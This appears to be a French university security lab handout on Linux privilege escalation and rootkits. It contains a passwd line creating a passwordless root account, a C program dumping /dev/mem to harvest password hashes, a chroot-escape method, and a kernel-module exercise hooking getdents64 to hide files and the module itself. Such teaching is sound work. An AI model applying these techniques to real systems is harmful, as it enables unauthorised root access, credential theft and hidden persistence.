/etc/passwd 0655 (root:root) : informations sur les utilisateurs
/etc/shadow 0400 (root:root) : mots de passe utilisateurs
Voici les exploitations possibles d'une mauvaise configuration :
Ajout d'une ligne 'r00t::0:0:root:/root:/bin/bash' à la fin de passwd, créer un compte uid 0 sans mot de passe. (Pour l'utiliser, il faut vérifier que PAM (Pluggable Authentication Modules) l'autorise. PAM est utilisé par la majorité des services Linux: sshd, agetty (le prompt login), su ...
Modification ou suppression du mot de passe root dans le fichier shadow
Modification d'un script de démarage pour démarer un programme en uid 0
Les devices sont des fichiers spéciaux, en relation avec des fonctions du kernel. Ils offrent un panel possibilité, et sont donc par conséquent trés dangereux. Les droit d'access à un device sont définit par le mode du fichier (rwx). Voici la liste des devices dangereux :
/dev/mem : ca permet d'accéder à toute la RAM. Cela soulève tout un tas de problèmatiques liées à la manière dont est gérée la mémoire. Tout ce qui se passe sur un ordinateur prend de la place en mémoire, notamment tous les documents que vous manipulez (mails, cle ssh), les buffers d'entrée clavier (qui sont maintenue en mémoire lors d'une session screen). Pour essayer : cat /dev/mem > /tmp/dump; strings /tmp/dump. Note: un acces en écriture sur un tel fichier peut être desastreux.
/dev/kmem : cela permet d'accéder à la zone mémoire réservée pour le kernel. Par exemple, il existe des techniques permettant de modifier l'uid d'un process directement avec ce device.
/dev/[hs]da : cela permet d'accéder directement aux partitions. Par exemple un process chrooté, si il crée ces devices, aura alors un acces complet au disque dur
Dans un premiers temps ajouter un utilisateur chiche avec un uid 0 et sans mots de passe. Vous avez 10 minutes pour faire en sorte que ca marche (astuce: find /etc -iname "*pam*")
A présent mettez lui un mot de passe sans utiliser la commande passwd (man 3 crypt()). Puis dumper la mémoire de votre système a l'aide du programme suivants, afin de cherchez le hash du mot de passe que vous venez d'ajouter. Enregistrez toute les pages dans lesquelle vous l'avez trouvez (4096 octets). Les outils suivant peuvent vous être utils : split, strings, xxd, grep -A .. -B .. .
#include <fcntl.h>
#define BLOCK_SZ 4096
int main(int argc, char *argv[])
{
char buf[BLOCK_SZ];
int in, out, sz;
if (argc != 2)
return (printf("please specify destination file\n"));
if ((in = open("/dev/mem", O_RDONLY)) == -1)
return (printf("error while opening /dev/mem\n"));
if ((out = open(argv[1], O_CREAT | O_TRUNC | O_WRONLY, 0600)) == -1)
{
close(in);
return (printf("error while opening %s\n", argv[1]));
}
while ((sz = read(in, buf, BLOCK_SZ)) > 0)
write(out, buf, sz);
perror("read");
close(in);
close(out);
}
Note: Si il vous vient à l'idée de chercher directement la chaine dans la mémoire, sans dumper donc, faite attention, vous trouverez votre propre programme. Insérez par exemple un caractère après la premiere lettre de ce que vous cherchez, et effectuez la comparaison adéquate.
Petite particularité, le shell standart de Linux, par sécurité, remplace les ids effe\ctifs, par les valeurs réelles. Ainsi, pour obtenir un shell root, via un setuid 0, il faut changer le\s valeurs réelles :
Bon, ce que l'on va voir doit être fait sous l'identité de root, c'est à dire que si un attaquant obtient un shell dans une chroot apache, il devrait à l'aide d'une faille kernel, ou d'un bug dans un programme setuid obtenir les privilèges administrateur.
La technique est simple, il suffit d'ouvrir le répertoire racine de la chroot, garder le fd, se chrooter dans un autre répertoire, utiliser fchdir avec le fd pour sortir de la chroot, remonter l'arborescence avec plein de chdir(".."), puis executer un shell.
Un système compromis est totalement non sûr, il peut etre difficile de s'en rendre compte (sauf en regardant le flux réseau, et encore), et il est très difficile de retirer tout ce quá pû mettre le visiteur : il existe énormément de rootkit qui peuvent cacher des processus, des fichiers, effacer les logs (utmp, wtmp, lastlog...), des services réseaux, des paquets réseaux...
Un système compromis est tres dangereux si on ne le sait pas, car des keyloggers et autres progammes ont pû etre installés, et des informations sensibles peuvent etre volées.
Exemples de rootkits linux :
Adore (LKM invisible) : cacher/rendre visible des fichiers et des processus, executer des commandes en root.
Suckit (Phrak, chargé par /dev/kmem) : dissimuler des processus, des fichiers, des connexions, un paquet special lance un shell.
Les modules de kernel linux (LKM) sont des fichiers .o (ou .ko dans les noyaux 2.6) qui seront directement integrés au noyau. Ils ont donc accès a toutes les ressources du noyau et donc à la table des appels systèmes. Détourner un appel système est très simple, et cet exerice a pour but de faire disparaître les fichiers et répertoires dont le nom est 'chiche'. Voici un squelete de LKM :
#include <linux/module.h>
#include <linux/kernel.h>
int init_module(void)
{
printk("Chargement\n");
return 0;
}
void cleanup_module(void)
{
printk("Dechargement\n");
}
MODULE_LICENSE("GPL");
La fonction init_module est appelée quand le module est chargé (avec insmod), et cleanup_module quand il est déchargé (avec rmmod). Pour le compiler, voici un petit makefile :
obj-m += lkm.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Pour chopper l'adresse de la table des syscall, avec les noyaux 2.4 il fallait juste rajouter 'extern unsigned long sys_call_table[]'. Mais avec les 2.6, cette variable n'est plus exportée. Il faut donc la trouver à la main. Pour cela, il suffit de taper en root :
# gdb -q /usr/src/linux/vmlinux
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) 0xc0384540
Il suffit donc de rajouter dans notre programme 'unsigned long *sys_call_table = (unsigned long *)0xc0384'. Pour trouver cette adresse par programme, il faut ouvrir /dev/kmem, lire la IDT et trouver a partir de ca l'adresse de la syscall table [http://www.phrack.org/phrack/58/p58-0x07].
Les indices des appels systèmes dans cette table sont listés dans /usr/src/linux/include/asm-i386/unistd.h. Par exemple l'adresse de getdents64 est sys_call_table[__NR_getdents64]. Pour détourner cet appel système, il suffit de sauvegarder l'ancienne adresse et de mettre la sienne à la place :
#include <linux/dirent.h>
#include <linux/unistd.h>
/*
** a modifier
*/
unsigned long *sys_call_table = (unsigned long *)0xc0384540;
asmlinkage int (*old_getdents64)(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
asmlinkage int my_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
int res;
res = old_getdents64 (fd, dirp, count);
if (res <= 0)
return res;
/*
** faire ce que l'on veut du resultat
*/
return res;
}
int init_module(void)
{
old_getdents64 = (int (*) (unsigned int , struct linux_dirent64 *, unsigned int)) (sys_call_table[__NR_getdents64]);
sys_call_table[__NR_getdents64] = (unsigned long) my_getdents64;
return 0;
}
void cleanup_module(void)
{
sys_call_table[__NR_getdents64] = (unsigned long) old_getdents64;
}
Pour savoir quels appels systèmes sont appelés par un programme, il faut utiliser strace, pour les prototypes, ils sont dans /usr/src/linux/include/linux/syscall.h.
Le but est de cacher les fichiers ou repertoires nommes 'chiche' en listant le repertoire parent avec un 'ls'. Ces fichiers resteront accessibles a des 'ls chiche' ou 'cd chiche'. Vous devez utiliser le code fourni pour parvenir a vos fins. Vous devrez envoyer par mail a secu@lse.epita.fr votre source, avant mardi 21 a 23h42. Vous aurez les points minimums si vous renommez les repertoires et fichiers 'chiche' en 'branle' quand on fait un ls sur le repertoire parent. Vous aurez plus de points si vous les cachez completement au 'ls' au lieu de les renommer. Vous aurez encore plus de points si votre module est de plus invisible a un 'lsmod'.
asmlinkage int my_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count)
{
char* pos;
struct linux_dirent64* cur;
int res;
res = old_getdents64 (fd, dirp, count);
if (res <= 0)
return res;
pos = (char*)dirp;
while (pos < (char*)dirp + res)
{
cur = (struct linux_dirent64*) pos;
/* votre code ici */
pos += cur->d_reclen;
}
return res;
}
si la machine cible a un serveur X en listen, il faut faire sur sa machine :
Ainsi sur votre machine tourne un serveur VNC connecte au serveur X de la machine cible, et un client VNC qui est connecte a ce serveur. Le client VNC voit tout ce que voit la personne sur la session X de la machine cible, et il est egalement possible de modifier les programmes comme si c'etait votre session.